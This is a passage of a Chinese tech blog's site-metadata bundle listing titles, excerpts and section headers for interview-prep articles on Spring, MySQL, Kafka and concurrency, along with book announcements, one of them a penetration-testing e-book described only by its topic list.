哪些场景下Spring的事务会失效?"},{name:"twitter:url",content:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%93%AA%E4%BA%9B%E5%9C%BA%E6%99%AF%E4%B8%8BSpring%E7%9A%84%E4%BA%8B%E5%8A%A1%E4%BC%9A%E5%A4%B1%E6%95%88.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%93%AA%E4%BA%9B%E5%9C%BA%E6%99%AF%E4%B8%8BSpring%E7%9A%84%E4%BA%8B%E5%8A%A1%E4%BC%9A%E5%A4%B1%E6%95%88.html",relativePath:"md/interview/2022-05-06-面试必问-哪些场景下Spring的事务会失效.md",key:"v-e8824390",path:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%93%AA%E4%BA%9B%E5%9C%BA%E6%99%AF%E4%B8%8BSpring%E7%9A%84%E4%BA%8B%E5%8A%A1%E4%BC%9A%E5%A4%B1%E6%95%88.html",headers:[{level:2,title:"Spring事务不生效总览",slug:"spring事务不生效总览"},{level:2,title:"数据库不支持事务",slug:"数据库不支持事务"},{level:2,title:"事务方法未被Spring管理",slug:"事务方法未被spring管理"},{level:2,title:"方法没有被public修饰",slug:"方法没有被public修饰"},{level:2,title:"同一类中方法调用",slug:"同一类中方法调用"},{level:2,title:"未配置事务管理器",slug:"未配置事务管理器"},{level:2,title:"方法的事务传播类型不支持事务",slug:"方法的事务传播类型不支持事务"},{level:2,title:"不正确的捕获异常",slug:"不正确的捕获异常"},{level:2,title:"错误的标注异常类型",slug:"错误的标注异常类型"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"面试必问 | 如何设计一款高并发的消息中间件?",frontmatter:{layout:"post",category:"binghe-code-interview",title:"面试必问 | 如何设计一款高并发的消息中间件?",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"很多小伙伴去大厂面试,几乎都会遇到一些开放式的题目,这些开放式的题目没有固定的答案,但是它能够实实在在的体现面试者较为真实的系统设计能力和技术功底。如果你回答的比较完美,那么,通过这种开放式题目,就能够让你从众多的面试者中脱颖而出。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"面试必问 | 如何设计一款高并发的消息中间件?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%A6%82%E4%BD%95%E8%AE%BE%E8%AE%A1%E4%B8%80%E6%AC%BE%E9%AB%98%E5%B9%B6%E5%8F%91%E7%9A%84%E6%B6%88%E6%81%AF%E4%B8%AD%E9%97%B4%E4%BB%B6.html"},{name:"twitter:title",content:"面试必问 | 如何设计一款高并发的消息中间件?"},{name:"twitter:url",content:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%A6%82%E4%BD%95%E8%AE%BE%E8%AE%A1%E4%B8%80%E6%AC%BE%E9%AB%98%E5%B9%B6%E5%8F%91%E7%9A%84%E6%B6%88%E6%81%AF%E4%B8%AD%E9%97%B4%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%A6%82%E4%BD%95%E8%AE%BE%E8%AE%A1%E4%B8%80%E6%AC%BE%E9%AB%98%E5%B9%B6%E5%8F%91%E7%9A%84%E6%B6%88%E6%81%AF%E4%B8%AD%E9%97%B4%E4%BB%B6.html",relativePath:"md/interview/2022-05-06-面试必问-如何设计一款高并发的消息中间件.md",key:"v-1bf8b330",path:"/md/interview/2022-05-06-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E5%A6%82%E4%BD%95%E8%AE%BE%E8%AE%A1%E4%B8%80%E6%AC%BE%E9%AB%98%E5%B9%B6%E5%8F%91%E7%9A%84%E6%B6%88%E6%81%AF%E4%B8%AD%E9%97%B4%E4%BB%B6.html",headers:[{level:2,title:"消息中间件涉及的知识点",slug:"消息中间件涉及的知识点"},{level:2,title:"生产者消费者模型",slug:"生产者消费者模型"},{level:2,title:"支持分布式架构",slug:"支持分布式架构"},{level:2,title:"数据的高可用",slug:"数据的高可用"},{level:2,title:"消息数据不丢失",slug:"消息数据不丢失"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"面试必问 | 聊聊MySQL三大核心日志的实现原理?",frontmatter:{layout:"post",category:"binghe-code-interview",title:"面试必问 | 聊聊MySQL三大核心日志的实现原理?",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"MySQL几乎成为互联网行业使用的最多的开源关系型数据库,正因如此,MySQL也成为各大互联网公司面试中必问的数据库,尤其是MySQL中的事务实现机制和三大核心日志的实现原理。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"面试必问 | 聊聊MySQL三大核心日志的实现原理?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/2022-05-09-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AMySQL%E4%B8%89%E5%A4%A7%E6%A0%B8%E5%BF%83%E6%97%A5%E5%BF%97%E7%9A%84%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86.html"},{name:"twitter:title",content:"面试必问 | 聊聊MySQL三大核心日志的实现原理?"},{name:"twitter:url",content:"/md/interview/2022-05-09-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AMySQL%E4%B8%89%E5%A4%A7%E6%A0%B8%E5%BF%83%E6%97%A5%E5%BF%97%E7%9A%84%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-05-09-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AMySQL%E4%B8%89%E5%A4%A7%E6%A0%B8%E5%BF%83%E6%97%A5%E5%BF%97%E7%9A%84%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86.html",relativePath:"md/interview/2022-05-09-面试必问-聊聊MySQL三大核心日志的实现原理.md",key:"v-0c4438a8",path:"/md/interview/2022-05-09-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AMySQL%E4%B8%89%E5%A4%A7%E6%A0%B8%E5%BF%83%E6%97%A5%E5%BF%97%E7%9A%84%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86.html",headers:[{level:2,title:"MySQL日志",slug:"mysql日志"},{level:2,title:"Undo Log日志",slug:"undo-log日志"},{level:3,title:"什么是Undo Log",slug:"什么是undo-log"},{level:3,title:"Undo Log作用",slug:"undo-log作用"},{level:2,title:"Redo Log日志",slug:"redo-log日志"},{level:3,title:"什么是Redo Log",slug:"什么是redo-log"},{level:3,title:"Redo Log的原理",slug:"redo-log的原理"},{level:3,title:"Redo Log的写机制",slug:"redo-log的写机制"},{level:3,title:"Redo Log写入机制",slug:"redo-log写入机制"},{level:2,title:"Binlog日志",slug:"binlog日志"},{level:3,title:"什么是Binlog",slug:"什么是binlog"},{level:3,title:"Binlog文件记录模式",slug:"binlog文件记录模式"},{level:3,title:"Binlog文件结构",slug:"binlog文件结构"},{level:3,title:"Binlog写机制",slug:"binlog写机制"},{level:3,title:"Binlog文件操作",slug:"binlog文件操作"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"面试必问 | 聊聊Kafka的消费模型?",frontmatter:{layout:"post",category:"binghe-code-interview",title:"面试必问 | 聊聊Kafka的消费模型?",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"最近,有些读者去头条二面,被面试官问了一个关于Kafka的问题:**多个Kafka消费者如何同时消费相同Topic下的相同Partition的数据?** 看似一个简单的问题,竟然把这位读者问懵了!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"面试必问 | 聊聊Kafka的消费模型?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/2022-05-16-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AKafka%E7%9A%84%E6%B6%88%E8%B4%B9%E6%A8%A1%E5%9E%8B.html"},{name:"twitter:title",content:"面试必问 | 聊聊Kafka的消费模型?"},{name:"twitter:url",content:"/md/interview/2022-05-16-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AKafka%E7%9A%84%E6%B6%88%E8%B4%B9%E6%A8%A1%E5%9E%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-05-16-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AKafka%E7%9A%84%E6%B6%88%E8%B4%B9%E6%A8%A1%E5%9E%8B.html",relativePath:"md/interview/2022-05-16-面试必问-聊聊Kafka的消费模型.md",key:"v-386e3242",path:"/md/interview/2022-05-16-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E8%81%8A%E8%81%8AKafka%E7%9A%84%E6%B6%88%E8%B4%B9%E6%A8%A1%E5%9E%8B.html",headers:[{level:2,title:"题目分析",slug:"题目分析"},{level:2,title:"扩展知识",slug:"扩展知识"},{level:2,title:"题目解答",slug:"题目解答"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"面试必问 | 一个线程从创建到消亡要经历哪些阶段",frontmatter:{layout:"post",category:"binghe-code-interview",title:"面试必问 | 一个线程从创建到消亡要经历哪些阶段",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"一个线程从创建到消亡要经历哪些阶段?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"面试必问 | 一个线程从创建到消亡要经历哪些阶段"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/2022-07-25-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E4%B8%80%E4%B8%AA%E7%BA%BF%E7%A8%8B%E4%BB%8E%E5%88%9B%E5%BB%BA%E5%88%B0%E6%B6%88%E4%BA%A1%E8%A6%81%E7%BB%8F%E5%8E%86%E5%93%AA%E4%BA%9B%E9%98%B6%E6%AE%B5.html"},{name:"twitter:title",content:"面试必问 | 一个线程从创建到消亡要经历哪些阶段"},{name:"twitter:url",content:"/md/interview/2022-07-25-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E4%B8%80%E4%B8%AA%E7%BA%BF%E7%A8%8B%E4%BB%8E%E5%88%9B%E5%BB%BA%E5%88%B0%E6%B6%88%E4%BA%A1%E8%A6%81%E7%BB%8F%E5%8E%86%E5%93%AA%E4%BA%9B%E9%98%B6%E6%AE%B5.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-07-25-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E4%B8%80%E4%B8%AA%E7%BA%BF%E7%A8%8B%E4%BB%8E%E5%88%9B%E5%BB%BA%E5%88%B0%E6%B6%88%E4%BA%A1%E8%A6%81%E7%BB%8F%E5%8E%86%E5%93%AA%E4%BA%9B%E9%98%B6%E6%AE%B5.html",relativePath:"md/interview/2022-07-25-面试必问-一个线程从创建到消亡要经历哪些阶段.md",key:"v-7c0d6cec",path:"/md/interview/2022-07-25-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE-%E4%B8%80%E4%B8%AA%E7%BA%BF%E7%A8%8B%E4%BB%8E%E5%88%9B%E5%BB%BA%E5%88%B0%E6%B6%88%E4%BA%A1%E8%A6%81%E7%BB%8F%E5%8E%86%E5%93%AA%E4%BA%9B%E9%98%B6%E6%AE%B5.html",headers:[{level:2,title:"通用的线程生命周期",slug:"通用的线程生命周期"},{level:3,title:"初始状态",slug:"初始状态"},{level:3,title:"可运行状态",slug:"可运行状态"},{level:3,title:"运行状态",slug:"运行状态"},{level:3,title:"休眠状态",slug:"休眠状态"},{level:3,title:"终止状态",slug:"终止状态"},{level:2,title:"Java中的线程生命周期",slug:"java中的线程生命周期"},{level:3,title:"RUNNABLE与BLOCKED的状态转换",slug:"runnable与blocked的状态转换"},{level:3,title:"RUNNABLE与WAITING状态转换",slug:"runnable与waiting状态转换"},{level:3,title:"RUNNABLE与TIMED_WAITING状态转换",slug:"runnable与timed-waiting状态转换"},{level:3,title:"从NEW到RUNNABLE状态",slug:"从new到runnable状态"},{level:3,title:"RUNNABLE到TERMINATED状态",slug:"runnable到terminated状态"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"面试必问|悲观锁与乐观锁",frontmatter:{layout:"post",category:"binghe-code-interview",title:"面试必问|悲观锁与乐观锁",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"何谓悲观锁与乐观锁?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"面试必问|悲观锁与乐观锁"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/2022-09-26-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE%E6%82%B2%E8%A7%82%E9%94%81%E4%B8%8E%E4%B9%90%E8%A7%82%E9%94%81.html"},{name:"twitter:title",content:"面试必问|悲观锁与乐观锁"},{name:"twitter:url",content:"/md/interview/2022-09-26-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE%E6%82%B2%E8%A7%82%E9%94%81%E4%B8%8E%E4%B9%90%E8%A7%82%E9%94%81.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/2022-09-26-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE%E6%82%B2%E8%A7%82%E9%94%81%E4%B8%8E%E4%B9%90%E8%A7%82%E9%94%81.html",relativePath:"md/interview/2022-09-26-面试必问悲观锁与乐观锁.md",key:"v-3307b331",path:"/md/interview/2022-09-26-%E9%9D%A2%E8%AF%95%E5%BF%85%E9%97%AE%E6%82%B2%E8%A7%82%E9%94%81%E4%B8%8E%E4%B9%90%E8%A7%82%E9%94%81.html",headers:[{level:2,title:"何谓悲观锁与乐观锁",slug:"何谓悲观锁与乐观锁"},{level:2,title:"悲观锁",slug:"悲观锁"},{level:2,title:"乐观锁",slug:"乐观锁"},{level:2,title:"两种锁的使用场景",slug:"两种锁的使用场景"},{level:2,title:"乐观锁常见的两种实现方式",slug:"乐观锁常见的两种实现方式"},{level:3,title:"版本号机制",slug:"版本号机制"},{level:3,title:"CAS 算法",slug:"cas-算法"},{level:2,title:"乐观锁的缺点",slug:"乐观锁的缺点"},{level:3,title:"ABA 问题",slug:"aba-问题"},{level:3,title:"循环时间长开销大",slug:"循环时间长开销大"},{level:3,title:"只能保证一个共享变量的原子操作",slug:"只能保证一个共享变量的原子操作"},{level:2,title:"CAS 与 synchronized 的使用情景",slug:"cas-与-synchronized-的使用情景"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/interview/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/interview/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/interview/default.html",relativePath:"md/interview/default.md",key:"v-7e6d8b4a",path:"/md/interview/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"久等了,冰河的《MySQL技术大全:开发、优化与运维实战》终于出版了",frontmatter:{layout:"post",category:"binghe-code-life",title:"久等了,冰河的《MySQL技术大全:开发、优化与运维实战》终于出版了",tagline:"by 冰河",tag:["mysql","binghe-code-life"],excerpt:"截至到今天终于能给粉丝一个交代了,700多页的MySQL技术大全图书,基于MySQL8.x,兼容MySQL5.x,以实战内容为主,涵盖MySQL基础、开发、优化、运维和架构的知识,系统的介绍了MySQL的各项技术细节。可以这么说,系统的学习MySQL,这一本书就够了。全书的内容对于实际工作来说,有直接的帮助作用,尤其是环境搭建篇、MySQL优化篇、MySQL维护篇和MySQL架构篇的内容,可直接应用于实际工作中。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"久等了,冰河的《MySQL技术大全:开发、优化与运维实战》终于出版了"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/book/2022-03-29-MySQL%E6%8A%80%E6%9C%AF%E5%A4%A7%E5%85%A8.html"},{name:"twitter:title",content:"久等了,冰河的《MySQL技术大全:开发、优化与运维实战》终于出版了"},{name:"twitter:url",content:"/md/knowledge/book/2022-03-29-MySQL%E6%8A%80%E6%9C%AF%E5%A4%A7%E5%85%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/book/2022-03-29-MySQL%E6%8A%80%E6%9C%AF%E5%A4%A7%E5%85%A8.html",relativePath:"md/knowledge/book/2022-03-29-MySQL技术大全.md",key:"v-44f67bd4",path:"/md/knowledge/book/2022-03-29-MySQL%E6%8A%80%E6%9C%AF%E5%A4%A7%E5%85%A8.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"书籍介绍",slug:"书籍介绍"},{level:2,title:"冰河目前在干啥?",slug:"冰河目前在干啥"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"久等了,冰河的《海量数据处理与大数据技术实战》终于出版了",frontmatter:{layout:"post",category:"binghe-code-life",title:"久等了,冰河的《海量数据处理与大数据技术实战》终于出版了",tagline:"by 冰河",tag:["bigdata","binghe-code-life"],excerpt:"截至到今天终于能给粉丝一个交代了,500多页的大数据实战技术图书,总结了冰河多年实际工作过程中的大数据处理经验,书中的案例稍加改造即可应用到实际的工作场景。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"久等了,冰河的《海量数据处理与大数据技术实战》终于出版了"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/book/2022-03-29-%E6%B5%B7%E9%87%8F%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E4%B8%8E%E5%A4%A7%E6%95%B0%E6%8D%AE%E6%8A%80%E6%9C%AF%E5%AE%9E%E6%88%98.html"},{name:"twitter:title",content:"久等了,冰河的《海量数据处理与大数据技术实战》终于出版了"},{name:"twitter:url",content:"/md/knowledge/book/2022-03-29-%E6%B5%B7%E9%87%8F%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E4%B8%8E%E5%A4%A7%E6%95%B0%E6%8D%AE%E6%8A%80%E6%9C%AF%E5%AE%9E%E6%88%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/book/2022-03-29-%E6%B5%B7%E9%87%8F%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E4%B8%8E%E5%A4%A7%E6%95%B0%E6%8D%AE%E6%8A%80%E6%9C%AF%E5%AE%9E%E6%88%98.html",relativePath:"md/knowledge/book/2022-03-29-海量数据处理与大数据技术实战.md",key:"v-1fa998b0",path:"/md/knowledge/book/2022-03-29-%E6%B5%B7%E9%87%8F%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86%E4%B8%8E%E5%A4%A7%E6%95%B0%E6%8D%AE%E6%8A%80%E6%9C%AF%E5%AE%9E%E6%88%98.html",headers:[{level:2,title:"我是如何持续写作的?",slug:"我是如何持续写作的"},{level:2,title:"遇见CSDN",slug:"遇见csdn"},{level:2,title:"出版图书",slug:"出版图书"},{level:2,title:"关于书籍",slug:"关于书籍"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"久等了,冰河的《深入理解分布式事务:原理与实战》终于出版了",frontmatter:{layout:"post",category:"binghe-code-life",title:"久等了,冰河的《深入理解分布式事务:原理与实战》终于出版了",tagline:"by 冰河",tag:["bigdata","binghe-code-life"],excerpt:"截至到今天终于能给粉丝一个交代了,互联网行业首部全面系统的介绍分布式事务的书籍,从实际需求出发,全面且细致地介绍了有关分布式事务的基础知识、解决方案、实现原理和源码实战。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"久等了,冰河的《深入理解分布式事务:原理与实战》终于出版了"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/book/2022-03-29-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html"},{name:"twitter:title",content:"久等了,冰河的《深入理解分布式事务:原理与实战》终于出版了"},{name:"twitter:url",content:"/md/knowledge/book/2022-03-29-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/book/2022-03-29-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html",relativePath:"md/knowledge/book/2022-03-29-深入理解分布式事务.md",key:"v-5ae51930",path:"/md/knowledge/book/2022-03-29-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1.html",headers:[{level:2,title:"1本书特色",slug:"_1本书特色"},{level:3,title:"5个维度展开,分布式事务从0到100",slug:"_5个维度展开-分布式事务从0到100"},{level:3,title:"大量图解和开发案例,学习事半功倍",slug:"大量图解和开发案例-学习事半功倍"},{level:2,title:"2本书主要内容",slug:"_2本书主要内容"},{level:2,title:"3读者对象",slug:"_3读者对象"},{level:2,title:"4作者简介",slug:"_4作者简介"},{level:2,title:"5专家推荐",slug:"_5专家推荐"},{level:2,title:"6目录",slug:"_6目录"},{level:2,title:"7实拍图",slug:"_7实拍图"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"《深入理解高并发编程:核心原理与案例实战》出版啦",frontmatter:{layout:"post",category:"binghe-code-life",title:"《深入理解高并发编程:核心原理与案例实战》出版啦",tagline:"by 冰河",tag:["bigdata","binghe-code-life"],excerpt:"今天,给大家隆重的宣布一个好消息:继出版《海量数据处理与大数据技术实战》、《MySQL技术大全:开发、优化与运维实战》和《深入理解分布式事务:原理与实战》之后,冰河的第4本书——《深入理解高并发编程:核心原理与案例实战》正式上市了。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"《深入理解高并发编程:核心原理与案例实战》出版啦"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/book/2022-06-17-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B.html"},{name:"twitter:title",content:"《深入理解高并发编程:核心原理与案例实战》出版啦"},{name:"twitter:url",content:"/md/knowledge/book/2022-06-17-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/book/2022-06-17-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B.html",relativePath:"md/knowledge/book/2022-06-17-深入理解高并发编程.md",key:"v-5e051c56",path:"/md/knowledge/book/2022-06-17-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E9%AB%98%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B.html",headers:[{level:2,title:"写作背景",slug:"写作背景"},{level:2,title:"全书结构",slug:"全书结构"},{level:2,title:"本书特色",slug:"本书特色"},{level:2,title:"本书阅读答疑",slug:"本书阅读答疑"},{level:2,title:"强大的专家阵容推荐",slug:"强大的专家阵容推荐"},{level:2,title:"如何购买本书",slug:"如何购买本书"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/knowledge.html"},{name:"twitter:url",content:"/md/knowledge/knowledge.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/knowledge.html",relativePath:"md/knowledge/knowledge.md",key:"v-26c9f6a7",path:"/md/knowledge/knowledge.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"《冰河的渗透实战笔记》电子书,442页,37万字,正式发布",frontmatter:{layout:"post",category:"interview",title:"《冰河的渗透实战笔记》电子书,442页,37万字,正式发布",tagline:"by 冰河",tag:["hack","interview"],excerpt:"全网首个开源的以实战案例为背景的渗透实战笔记,全书共442页,共计37万字(不计空格),整本书的内容涵盖:Kali基础、渗透工具、木马制作、钓鱼链接生成、爆破密码、内存溢出攻击、web渗透、数据提权、社会工程学。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"《冰河的渗透实战笔记》电子书,442页,37万字,正式发布"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/knowledge/pdf/2022-03-30-%E3%80%8A%E5%86%B0%E6%B2%B3%E7%9A%84%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98%E7%AC%94%E8%AE%B0%E3%80%8B%E7%94%B5%E5%AD%90%E4%B9%A6%EF%BC%8C442%E9%A1%B5%EF%BC%8C37%E4%B8%87%E5%AD%97%EF%BC%8C%E6%AD%A3%E5%BC%8F%E5%8F%91%E5%B8%83.html"},{name:"twitter:title",content:"《冰河的渗透实战笔记》电子书,442页,37万字,正式发布"},{name:"twitter:url",content:"/md/knowledge/pdf/2022-03-30-%E3%80%8A%E5%86%B0%E6%B2%B3%E7%9A%84%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98%E7%AC%94%E8%AE%B0%E3%80%8B%E7%94%B5%E5%AD%90%E4%B9%A6%EF%BC%8C442%E9%A1%B5%EF%BC%8C37%E4%B8%87%E5%AD%97%EF%BC%8C%E6%AD%A3%E5%BC%8F%E5%8F%91%E5%B8%83.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/knowledge/pdf/2022-03-30-%E3%80%8A%E5%86%B0%E6%B2%B3%E7%9A%84%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98%E7%AC%94%E8%AE%B0%E3%80%8B%E7%94%B5%E5%AD%90%E4%B9%A6%EF%BC%8C442%E9%A1%B5%EF%BC%8C37%E4%B8%87%E5%AD%97%EF%BC%8C%E6%AD%A3%E5%BC%8F%E5%8F%91%E5%B8%83.html",relativePath:"md/knowledge/pdf/2022-03-30-《冰河的渗透实战笔记》电子书,442页,37万字,正式发布.md",key:"v-9ac4cfbe",path:"/md/knowledge/pdf/2022-03-30-%E3%80%8A%E5%86%B0%E6%B2%B3%E7%9A%84%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98%E7%AC%94%E8%AE%B0%E3%80%8B%E7%94%B5%E5%AD%90%E4%B9%A6%EF%BC%8C442%E9%A1%B5%EF%BC%8C37%E4%B8%87%E5%AD%97%EF%BC%8C%E6%AD%A3%E5%BC%8F%E5%8F%91%E5%B8%83.html",headers:[{level:2,title:"本书特点",slug:"本书特点"},{level:2,title:"写作本书的缘由",slug:"写作本书的缘由"},{level:2,title:"本书内容精选",slug:"本书内容精选"},{level:2,title:"如何获取本书?",slug:"如何获取本书"},{level:2,title:"其他",slug:"其他"},{level:2,title:"加入星球",slug:"加入星球"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"《SpringCloud Alibaba实战》正式发布",frontmatter:{layout:"post",category:"interview",title:"《SpringCloud Alibaba实战》正式发布",tagline:"by 冰河",tag:["hack","interview"],excerpt:"之前很多小伙伴都在跟我说:网上关于SpringCloud Alibaba的技术不是很系统,也不是很全面,问我如何系统的学习SpringCloud Alibaba技术,于是乎,我便在 **冰河技术** 公号中连载了《[SpringCloud Alibaba实战](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247502884&from_itemidx=1&count=3&nolastread=1#wechat_redirect)》专栏。整个专栏分为十大篇章,共26个章节。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"《SpringCloud 